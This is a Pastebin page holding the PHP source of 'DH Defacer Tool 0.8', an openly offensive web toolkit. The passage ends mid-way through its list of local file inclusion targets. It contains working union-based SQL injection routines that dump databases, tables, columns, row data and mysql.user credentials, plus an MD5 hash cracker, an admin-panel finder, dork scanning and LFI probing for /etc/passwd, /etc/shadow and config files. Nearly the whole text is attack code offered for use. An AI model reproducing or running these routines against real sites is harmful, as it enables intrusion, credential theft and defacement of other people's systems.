API tools faq
paste
Doddy

DH Defacer Tool 0.8

Doddy
Jan 24th, 2014
1,316
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 46.16 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. // DH Defacer Tool 0.8
  4. // (C) Doddy Hackman 2014
  5.  
  6. error_reporting(0);
  7.  
  8. //
  9. $username = "admin";
  10. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  11. //
  12.  
  13. if (isset($_COOKIE['portal'])) {
  14.     $st = base64_decode($_COOKIE['portal']);
  15.     $plit = split("@", $st);
  16.     $user = $plit[0];
  17.     $pass = $plit[1];
  18.     if ($user == $username and $pass == $password) {
  19.         darcolor();
  20.         echo "
  21. <table border=1 style='margin: 0 auto;'><title>DH Defacer Tools 0.8 (C) Doddy Hackman 2014</title><td><br><center><h2><b><a href='" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "'><h2>DH Defacer Tools 0.8</h3></a></h3></b></center><br><br></td><tr><td>";
  22.         if (isset($_GET['bing'])) {
  23.             if (isset($_POST['bingscan'])) {
  24.                 echo "
  25. <table border=1>
  26. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?bing" . ">Console</a></h2></center></td><tr>
  27. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  28.                 scanner_bing($_POST['dork'], $_POST['pages']);
  29.                 echo "\n</textarea></td></table>";
  30.             } else {
  31.                 echo "
  32. <form action=?bing method=POST>
  33. <center><br><table border=1>
  34. <td><center><h2>Bing Scanner</h2></center></td><tr>
  35. <td><h3><br><center>Enter Dork</center></h3></td><tr>
  36. <td><input type=text size=50 name=dork value=news.php+id></td><tr>
  37. <td><center><h3>Enter Pages</h3></center></td><tr>
  38. <td><input type=text size=50 name=pages value=2></td><tr>
  39. <td><input type=submit size=500 name=bingscan style='height: 25px; width: 378px' value=Scan></td>
  40. </table></center>
  41. </form>
  42. ";
  43.             }
  44.         } elseif (isset($_GET['sql'])) {
  45.             if (isset($_POST['scansql'])) {
  46.                 echo "
  47. <table border=1>
  48. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  49. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  50.                 sqlscan($_POST['target']);
  51.                 echo "\n</textarea></td></table>";
  52.             } elseif (isset($_POST['getables'])) {
  53.                 echo "
  54. <table border=1>
  55. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  56. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  57.                 sql_tables($_POST['target']);
  58.                 echo "\n</textarea></td></table>";
  59.             } elseif (isset($_POST['getdbs'])) {
  60.                 echo "
  61. <table border=1>
  62. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  63. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  64.                 sql_dbs($_POST['target']);
  65.                 echo "\n</textarea></td></table>";
  66.             } elseif (isset($_POST['getmysql'])) {
  67.                 echo "
  68. <table border=1>
  69. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  70. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  71.                 sql_mysql($_POST['target']);
  72.                 echo "\n</textarea></td></table>";
  73.             } elseif (isset($_POST['scancolumns'])) {
  74.                 echo "
  75. <table border=1>
  76. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  77. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  78.                 sql_columns($_POST['target'], $_POST['tablesimple']);
  79.                 echo "\n</textarea></td></table>";
  80.             } elseif (isset($_POST['scantablesdb'])) {
  81.                 echo "
  82. <table border=1>
  83. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  84. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  85.                 sql_db_tables($_POST['target'], $_POST['db']);
  86.                 echo "\n</textarea></td></table>";
  87.             } elseif (isset($_POST['scancolumnsdb'])) {
  88.                 echo "
  89. <table border=1>
  90. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  91. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  92.                 sql_db_columns($_POST['target'], $_POST['dbname'], $_POST['tabledb']);
  93.                 echo "\n</textarea></td></table>";
  94.             } elseif (isset($_POST['dumpernow'])) {
  95.                 echo "
  96. <table border=1>
  97. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?sql" . ">Console</a></h2></center></td><tr>
  98. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  99.                 sql_dumper($_POST['target'], $_POST['dumptable'], $_POST['dumpcol1'], $_POST['dumpcol2']);
  100.                 echo "\n</textarea></td></table>";
  101.             } else {
  102.                 echo "
  103.  
  104. <center><br><table border=1>
  105. <td><center><h2>SQLI Scanner</h2></center></td><tr>
  106. <form action=?sql method=POST>
  107. <td><input type=text size=93 name=target value=http://localhost/labs/sql.php?id=></td><tr>
  108. <td><input type=submit name=scansql style='height: 20px; width: 333px' value='Scan'><input type=submit name=getables style='height: 20px; width: 120px' value='Get Tables'><input type=submit name=getdbs style='height: 20px; width: 120px' value='Get Databases'><input type=submit name=getmysql style='height: 20px; width: 120px' value='Get mysql.users'></td></tr>
  109.  
  110. <td><center><h2>Get Columns</h2></center></td><tr>
  111. <td><input type=text size=93 name=tablesimple value=hackers></td><tr>
  112. <td><input type=submit name=scancolumns style='height: 20px; width: 694px' value='Extract'><tr>
  113.  
  114. <td><center><h2>Get Tables of DB</h2></center></td><tr>
  115. <td><input type=text size=93 name=db value=hackman></td><tr>
  116. <td><input type=submit name=scantablesdb style='height: 20px; width: 694px' value='Extract'><tr>
  117.  
  118. <td><center><h2>Get Columns of DB & Table</h2></center></td><tr>
  119. <td>DB : <input type=text size=40 name=dbname value=hackman></td><tr>
  120. <td>Table : <input type=text size=37 name=tabledb value=hackers></td><tr>
  121. <td><input type=submit name=scancolumnsdb style='height: 20px; width: 694px' value='Extract'><tr>
  122.  
  123. <td><center><h2>Dumper</h2></center></td><tr>
  124. <td>Table : <input type=text size=42 name=dumptable value=hackers></td><tr>
  125. <td>Column 1 : <input type=text size=37 name=dumpcol1 value=usuario></td><tr>
  126. <td>Column 2 : <input type=text size=37 name=dumpcol2 value=password></td><tr>
  127. <td><input type=submit name=dumpernow style='height: 20px; width: 694px' value='Dump'>
  128.  
  129. </form>
  130.  
  131. ";
  132.             }
  133.         } elseif (isset($_GET['crack'])) {
  134.             if (isset($_POST['crackscan'])) {
  135.                 echo "
  136. <table border=1>
  137. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?crack" . ">Console</a></h2></center></td><tr>
  138. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  139.                 $hashes = trim($_POST['hashes']);
  140.                 $hashes = explode("\n", $hashes);
  141.                 foreach($hashes as $hash) {
  142.                     crackmd5(trim($hash));
  143.                 }
  144.                 echo "\n</textarea></td></table>";
  145.             } else {
  146.                 echo "
  147. <form action=?crack method=POST>
  148. <center><br><table border=1>
  149. <td><center><h2>MD5 Cracker</h2></center></td><tr>
  150. <td><h3><br><center>Enter Hashes</center></h3></td><tr>
  151. <td>
  152. <textarea cols=50 rows=20 name=hashes>
  153. </textarea>
  154. </td><tr>
  155. <td><input type=submit size=500 name=crackscan style='height: 25px; width: 390px' value=Crack></td>
  156. </table></center>
  157. </form>";
  158.             }
  159.         } elseif (isset($_GET['adminz'])) {
  160.             if (isset($_POST['adminscan'])) {
  161.                 echo "
  162. <table border=1>
  163. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?adminz" . ">Console</a></h2></center></td><tr>
  164. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  165.                 paneladmin($_POST['target']);
  166.                 echo "\n</textarea></td></table>";
  167.             } else {
  168.                 echo "
  169. <form action=?adminz method=POST>
  170. <center><br><table border=1>
  171. <td><center><h2>Admin Finder</h2></center></td><tr>
  172. <td><h3><br><center>Enter Page</center></h3></td><tr>
  173. <td><input type=text size=50 name=target value=http://localhost/></td><tr>
  174. <td><input type=submit size=500 name=adminscan style='height: 25px; width: 378px' value=Scan></td>
  175. </table></center>
  176. </form>
  177. ";
  178.             }
  179.         } elseif (isset($_GET['lfi'])) {
  180.             if (isset($_POST['lfiscan'])) {
  181.                 echo "
  182. <table border=1>
  183. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?lfi" . ">Console</a></h2></center></td><tr>
  184. <td>
  185. <center>
  186. <textarea cols=110 rows=40 name=code readonly>\n\n";
  187.                 lfiscan($_POST['target']);
  188.                 echo "\n</textarea>
  189. </center>
  190. </td></table>";
  191.             } else {
  192.                 echo "
  193. <form action=?lfi method=POST>
  194. <center><br><table border=1>
  195. <td><center><h2>LFI Scan</h2></center></td><tr>
  196. <td><h3><br><center>Enter Page</center></h3></td><tr>
  197. <td><input type=text size=50 name=target value=http://localhost/labs/lfi.php?file=></td><tr>
  198. <td><input type=submit size=500 name=lfiscan style='height: 25px; width: 378px' value=Scan></td>
  199. </table></center>
  200. </form>
  201. ";
  202.             }
  203.         } elseif (isset($_GET['locate'])) {
  204.             if (isset($_POST['locatescan'])) {
  205.                 echo "
  206. <table border=1>
  207. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?locate" . ">Console</a></h2></center></td><tr>
  208. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  209.                 locateip($_POST['target']);
  210.                 echo "\n</textarea></td></table>";
  211.             } else {
  212.                 echo "
  213. <form action=?locate method=POST>
  214. <center><br><table border=1>
  215. <td><center><h2>Locate IP</h2></center></td><tr>
  216. <td><h3><br><center>Enter Page</center></h3></td><tr>
  217. <td><input type=text size=50 name=target value=http://www.petardas.com/index.php></td><tr>
  218. <td><input type=submit size=500 name=locatescan style='height: 25px; width: 378px' value=Scan></td>
  219. </table></center>
  220. </form>
  221. ";
  222.             }
  223.         } elseif (isset($_GET['encode'])) {
  224.             if (isset($_POST['encodescan'])) {
  225.                 echo "
  226. <table border=1>
  227. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?encode" . ">Console</a></h2></center></td><tr>
  228. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  229.                 if ($_POST['optionsa'] == "MD5") {
  230.                     echo "\n\t\t\t[+] MD5 : " . md5($_POST['tex']);
  231.                 }
  232.                 if ($_POST['optionsa'] == "Base64") {
  233.                     echo "\n\t\t\t[+] base64_encode : " . base64_encode($_POST['tex']);
  234.                 }
  235.                 if ($_POST['optionsa'] == "Hex") {
  236.                     echo "\n\t\t\t[+] Hex : " . hex($_POST['tex']);
  237.                 }
  238.                 echo "\n</textarea></td></table>";
  239.             } elseif (isset($_POST['decodescan'])) {
  240.                 echo "
  241. <table border=1>
  242. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?encode" . ">Console</a></h2></center></td><tr>
  243. <td><textarea cols=110 rows=40 name=code readonly>\n\n";
  244.                 if ($_POST['optionsa'] == "MD5") {
  245.                     echo "\n\t\t\t[+] MD5 : ?";
  246.                 }
  247.                 if ($_POST['optionsa'] == "Base64") {
  248.                     echo "\n\t\t\t[+] base64_decode : " . base64_decode($_POST['tex']);
  249.                 }
  250.                 if ($_POST['optionsa'] == "Hex") {
  251.                     echo "\n\t\t\t[+] Hex : " . hexdecode($_POST['tex']);
  252.                 }
  253.                 echo "\n</textarea></td></table>";
  254.             } else {
  255.                 echo "<form action=?encode method=POST>
  256. <center><br><table border=1>
  257. <td><center><h2>Encoders</h2></center></td><tr>
  258. <td>
  259. <b>Text :</b> <input type=text name=tex value=test><select name=optionsa><option>MD5</option><option>Base64</option><option>Hex</option></select><input type=submit name=encodescan value=Encode><input type=submit name=decodescan value=Decode>
  260. </form>
  261. </td>
  262. </table></center>
  263. </form>";
  264.             }
  265.         } else {
  266.             echo "<center><table border=1>
  267. <td><h2><center><br><b>Menu</b></center></h2></td><tr><br><br>
  268. <td width=300><h3><br><center><a href=?bing>Bing Scanner</a></center></h3></td><tr>
  269. <td width=300><h3><br><center><a href=?sql>SQLI Scanner</a></center></h3></td><tr>
  270. <td width=300><h3><br><center><a href=?lfi>LFI Scanner</a></center></h3></td><tr>
  271. <td width=300><h3><br><center><a href=?crack>MD5 Cracker</a></center></h3></td><tr>
  272. <td width=300><h3><br><center><a href=?adminz>Admin Finder</a></center></h3></td><tr>
  273. <td width=300><h3><br><center><a href=?locate>Locate IP</a></center></h3></td><tr>
  274. <td width=300><h3><br><center><a href=?encode>Encoders</a></center></h3></td><tr>
  275. </table><br><br>";
  276.         }
  277.         echo "
  278. </form></td><tr>
  279. <td><center>
  280. <br><center><b><a href='http://doddyhackman.webcindario.com'><b><h2>-- == (C) Doddy Hackman 2014 == --</h2></b></a></b></center><br><br></table>";
  281.     }
  282. } elseif (isset($_GET['admin'])) {
  283.     if (isset($_POST['login'])) {
  284.         if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  285.             setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
  286.             echo "<script>alert('Welcome Idiot');</script>";
  287.             echo '<meta http-equiv="refresh" content=0;URL=?=>';
  288.         } else {
  289.             echo "<script>alert('Fuck You');</script>";
  290.         }
  291.     } else {
  292.         darcolor();
  293.         echo "
  294. <title>Administration</title>
  295. <br><h1><center>Administration</center></h1>
  296. <br><center>
  297. <form action='?admin' method=POST>
  298. Username : <input type=text name=user><br>
  299. Password : <input type=password name=password><br><br>
  300. <input type=submit name=login value=Enter><br>
  301. </form>
  302. </center><br><br>";
  303.     }
  304. } else {
  305.     echo "<meta http-equiv='Refresh' content='0;url=http://www.google.com'>";
  306. }
  307. // Functions
  308. //crackmd5("098f6bcd4621d373cade4e832627b4f6");
  309. //lfiscan("http://localhost:8080/labs/lfi.php?file=");
  310. //sqlscan("http://localhost:8080/labs/sql.php?id=");
  311. //sql_tables("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3");
  312. //sql_columns("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3","hackers");
  313. //sql_dbs("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3");
  314. //sql_db_tables("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3","hackman");
  315. //sql_db_columns("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3","hackman","hackers");
  316. //sql_mysql("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3");
  317. //sql_dumper("http://localhost:8080/labs/sql.php?id=-1+union+select+hackman,2,3","hackers","usuario","password");
  318. function cortar_limpio() {
  319.     echo "</textarea>
  320. </form></td><tr>
  321. <td><center>
  322. <br><center><b><a href='http://doddyhackman.webcindario.com'><b><h2>-- == (C) Doddy Hackman 2014 == --</h2></b></a></b></center><br><br></table>";
  323. }
  324. function sql_dumper($target, $tabla, $columna1, $columna2) {
  325.     echo "\n\t\t\t[+] Fuzzing values ...\n";
  326.     $url1 = $target;
  327.     $url2 = $target;
  328.     $url1 = str_replace("hackman", "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count(" . $columna1 . "),char(69,82,84,79,82,56,53,52))))", $url1);
  329.     $url2 = str_replace("hackman", "unhex(hex(concat(char(69,82,84,79,82,56,53,52)," . $columna1 . ",char(69,82,84,79,82,56,53,52)," . $columna2 . ",char(69,82,84,79,82,56,53,52))))", $url2);
  330.     $code = toma($url1 . "+from+" . $tabla . "--");
  331.     if (preg_match("/ERTOR854(.*)ERTOR854/i", $code)) {
  332.         preg_match_all("/ERTOR854(.*)ERTOR854/i", $code, $re);
  333.         $reco = $re[1][0];
  334.         echo "\n\t\t\t[+] Values Found : " . $reco . "\n";
  335.         for ($i = 0;$i <= $reco;$i++) {
  336.             $code = toma($url2 . "+from+" . $tabla . "+limit+" . $i . ",1--");
  337.             if (preg_match("/ERTOR854(.*)ERTOR854(.*)ERTOR854/i", $code)) {
  338.                 preg_match_all("/ERTOR854(.*)ERTOR854(.*)ERTOR854/i", $code, $re);
  339.                 echo "\n\t\t\t[+] " . $columna1 . " : " . $re[1][0];
  340.                 echo "\n\t\t\t[+] " . $columna2 . " : " . $re[2][0];
  341.             }
  342.         }
  343.     } else {
  344.         echo "\n\t\t\t[-] Not Found";
  345.     }
  346.     echo "\n\n\t\t\t[+] Finished";
  347. }
  348. function sql_mysql($target) {
  349.     echo "\n\t\t\t[+] Fuzzing mysql.user ...\n";
  350.     $url1 = $target;
  351.     $url2 = $target;
  352.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  353.     $url2 = str_replace("hackman", "unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))", $url2);
  354.     $code = toma($url1 . "+from+mysql.user--");
  355.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  356.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  357.         $reco = $re[1][0];
  358.         echo "\n\t\t\t[+] Values Found : " . $reco . "\n";
  359.         for ($i = 0;$i <= $reco;$i++) {
  360.             $code = toma($url2 . "+from+mysql.user+limit+" . $i . ",1--");
  361.             if (preg_match("/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/i", $code)) {
  362.                 preg_match_all("/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/i", $code, $re);
  363.                 echo "\n\t\t\t[+] Host : " . $re[1][0];
  364.                 echo "\n\t\t\t[+] Username : " . $re[2][0];
  365.                 echo "\n\t\t\t[+] Password : " . $re[3][0];
  366.             }
  367.         }
  368.     } else {
  369.         echo "\n\t\t\t[-] Not Found";
  370.     }
  371.     echo "\n\n\t\t\t[+] Finished";
  372. }
  373. function sql_db_columns($target, $db, $table) {
  374.     echo "\n\t\t\t[+] Fuzzing columns ...\n";
  375.     $url1 = $target;
  376.     $url2 = $target;
  377.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  378.     $url2 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))", $url2);
  379.     $code = toma($url1 . "+from+information_schema.columns+where+table_name=" . hex($table) . "+and+table_schema=" . hex($db) . "--");
  380.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  381.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  382.         $reco = $re[1][0];
  383.         echo "\n\t\t\t[+] Columns Found : " . $reco . "\n";
  384.         for ($i = 0;$i <= $reco;$i++) {
  385.             $code = toma($url2 . "+from+information_schema.columns+where+table_name=" . hex($table) . "+and+table_schema=" . hex($db) . "+limit+" . $i . ",1--");
  386.             if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  387.                 preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  388.                 echo "\n\t\t\t[+] Column : " . $re[1][0];
  389.             }
  390.         }
  391.     } else {
  392.         echo "\n\t\t\t[-] Not Found";
  393.     }
  394.     echo "\n\n\t\t\t[+] Finished";
  395. }
  396. function sql_db_tables($target, $db) {
  397.     echo "\n\t\t\t[+] Fuzzing tables ...\n";
  398.     $url1 = $target;
  399.     $url2 = $target;
  400.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  401.     $url2 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url2);
  402.     $code = toma($url2 . "+from+information_schema.tables+where+table_schema=" . hex($db) . "--");
  403.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  404.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  405.         $reco = $re[1][0];
  406.         echo "\n\t\t\t[+] Tables Found : " . $reco . "\n";
  407.         for ($i = 0;$i <= $reco;$i++) {
  408.             $code = toma($url1 . "+from+information_schema.tables+where+table_schema=" . hex($db) . "+limit+" . $i . ",1--");
  409.             if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  410.                 preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  411.                 echo "\n\t\t\t[+] Table : " . $re[1][0];
  412.             }
  413.         }
  414.     } else {
  415.         echo "\n\t\t\t[-] Not Found";
  416.     }
  417.     echo "\n\n\t\t\t[+] Finished";
  418. }
  419. function sql_dbs($target) {
  420.     echo "\n\t\t\t[+] Fuzzing DBS ...\n";
  421.     $url1 = $target;
  422.     $url2 = $target;
  423.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  424.     $url2 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))", $url2);
  425.     $code = toma($url1 . "+from+information_schema.schemata--");
  426.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  427.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  428.         $reco = $re[1][0];
  429.         echo "\n\t\t\t[+] DBS Found : " . $reco . "\n";
  430.         for ($i = 0;$i <= $reco;$i++) {
  431.             $code = toma($url2 . "+from+information_schema.schemata+limit+" . $i . ",1--");
  432.             if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  433.                 preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  434.                 echo "\n\t\t\t[+] DB : " . $re[1][0];
  435.             }
  436.         }
  437.     } else {
  438.         echo "\n\t\t\t[-] Not Found";
  439.     }
  440.     echo "\n\n\t\t\t[+] Finished";
  441. }
  442. function sql_columns($target, $table) {
  443.     echo "\n\t\t\t[+] Fuzzing columns ...\n";
  444.     $url1 = $target;
  445.     $url2 = $target;
  446.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  447.     $url2 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))", $url2);
  448.     $code = toma($url1 . "+from+information_schema.columns+where+table_name=" . hex($table) . "--");
  449.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  450.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  451.         $reco = $re[1][0];
  452.         echo "\n\t\t\t[+] Columns Found : " . $reco . "\n";
  453.         for ($i = 0;$i <= $reco;$i++) {
  454.             $code = toma($url2 . "+from+information_schema.columns+where+table_name=" . hex($table) . "+limit+" . $i . ",1--");
  455.             if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  456.                 preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  457.                 echo "\n\t\t\t[+] Column : " . $re[1][0];
  458.             }
  459.         }
  460.     } else {
  461.         echo "\n\t\t\t[-] Not Found";
  462.     }
  463.     echo "\n\n\t\t\t[+] Finished";
  464. }
  465. function sql_tables($target) {
  466.     echo "\n\t\t\t[+] Fuzzing tables ...\n";
  467.     $url1 = $target;
  468.     $url2 = $target;
  469.     $url1 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))", $url1);
  470.     $url2 = str_replace("hackman", "unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))", $url2);
  471.     $code = toma($url2 . "+from+information_schema.tables--");
  472.     if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  473.         preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  474.         $reco = $re[1][0];
  475.         echo "\n\t\t\t[+] Tables Found : " . $reco . "\n";
  476.         for ($i = 17;$i <= $reco;$i++) {
  477.             $code = toma($url1 . "+from+information_schema.tables+limit+" . $i . ",1--");
  478.             if (preg_match("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code)) {
  479.                 preg_match_all("/RATSXPDOWN1(.*)RATSXPDOWN1/i", $code, $re);
  480.                 echo "\n\t\t\t[+] Table : " . $re[1][0];
  481.             }
  482.         }
  483.     } else {
  484.         echo "\n\n\t\t\t[-] Not Found";
  485.     }
  486.     echo "\n\n\t\t\t[+] Finished";
  487. }
  488. function sqlscan($target) {
  489.     echo "\n\t\t\t[+] Scanning ...\n";
  490.     $code = toma($target . "-1+union+select+1--");
  491.     if (preg_match("/The used SELECT statements have a different number of columns/i", $code)) {
  492.         echo "\n\t\t\t[+] Searching count of the columns";
  493.         $sqli = "concat(0x646F6464796861636B6D616E,1,0x646F6464796861636B6D616E)";
  494.         for ($i = 2;$i <= 70;$i++) {
  495.             $sqli.= ",concat(0x646F6464796861636B6D616E,$i,0x646F6464796861636B6D616E)";
  496.             $code = toma($target . "-1+union+select+" . $sqli . "--");
  497.             if (preg_match("/doddyhackman(.*)doddyhackman/i", $code)) {
  498.                 $sac = preg_match("/doddyhackman(.*)doddyhackman/i", $code);
  499.                 echo "\n\t\t\t[+] Rows Length : $i";
  500.                 $sql = "1";
  501.                 for ($n = 2;$n <= $i;$n++) {
  502.                     $sql.= ",$n";
  503.                 }
  504.                 $sqla = str_replace($sac, "hackman", $sql);
  505.                 echo "\n\t\t\t[+] SQLI : " . $target . "-1+union+select+" . $sqla . "--";
  506.                 echo "\n\t\t\t[+] The number $sac print data";
  507.                 $data_sql = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  508.                 $sqlaa = str_replace("hackman", $data_sql, $sqla);
  509.                 $code = toma($target . "-1+union+select+" . $sqlaa);
  510.                 if (preg_match("/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/i", $code)) {
  511.                     preg_match_all("/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/i", $code, $re);
  512.                     echo "\n\t\t\t[+] DB Version : " . $re[1][0];
  513.                     echo "\n\t\t\t[+] DB Name : " . $re[2][0];
  514.                     echo "\n\t\t\t[+] DB Username : " . $re[3][0];
  515.                 }
  516.                 echo "\n\n\t\t\t[+] Finished";
  517.                 cortar_limpio();
  518.             }
  519.         }
  520.     }
  521.     echo "\n\t\t\t[-] Not Vulnerable";
  522. }
  523. function lfiscan($target) {
  524.     $files = array('C:/xampp/htdocs/aca.txt', 'C:/xampp/htdocs/aca.txt', 'C:/xampp/htdocs/admin.php', 'C:/xampp/htdocs/leer.txt', '../../../boot.ini', '../../../../boot.ini', '../../../../../boot.ini', '../../../../../../boot.ini', '/etc/passwd', '/etc/shadow', '/etc/shadow~', '/etc/hosts', '/etc/motd', '/etc/apache/apache.conf', '/etc/fstab', '/etc/apache2/apache2.conf', '/etc/apache/httpd.conf', '/etc/httpd/conf/httpd.conf', '/etc/apache2/httpd.conf', '/etc/apache2/sites-available/default', '/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/sysconfig/network-scripts/ifcfg-eth0', '/etc/redhat-release', '/etc/httpd/conf.d/php.conf', '/etc/pam.d/proftpd', '/etc/phpmyadmin/config.inc.php', '/var/www/config.php', '/etc/httpd/logs/error_log', '/etc/httpd/logs/error.log', '/etc/httpd/logs/access_log', '/etc/httpd/logs/access.log', '/var/log/apache/error_log', '/var/log/apache/error.log', '/var/log/apache/access_log', '/var/log/apache/access.log', '/var/log/apache2/error_log', '/var/log/apache2/error.log', '/var/log/apache2/access_log', '/var/log/apache2/access.log', '/var/www/logs/error_log', '/var/www/logs/error.log', '/var/www/logs/access_log', '/var/www/logs/access.log', '/usr/local/apache/logs/error_log', '/usr/local/apache/logs/error.log', '/usr/local/apache/logs/access_log', '/usr/local/apache/logs/access.log', '/var/log/error_log', '/var/log/error.log', '/var/log/access_log', '/var/log/access.log', '/etc/group', '/etc/security/group', '/etc/security/passwd', '/etc/security/user', '/etc/security/environ', '/etc/security/limits', '/usr/lib/security/mkuser.default', '/apache/logs/access.log', '/apache/logs/error.log', '/etc/httpd/logs/acces_log', 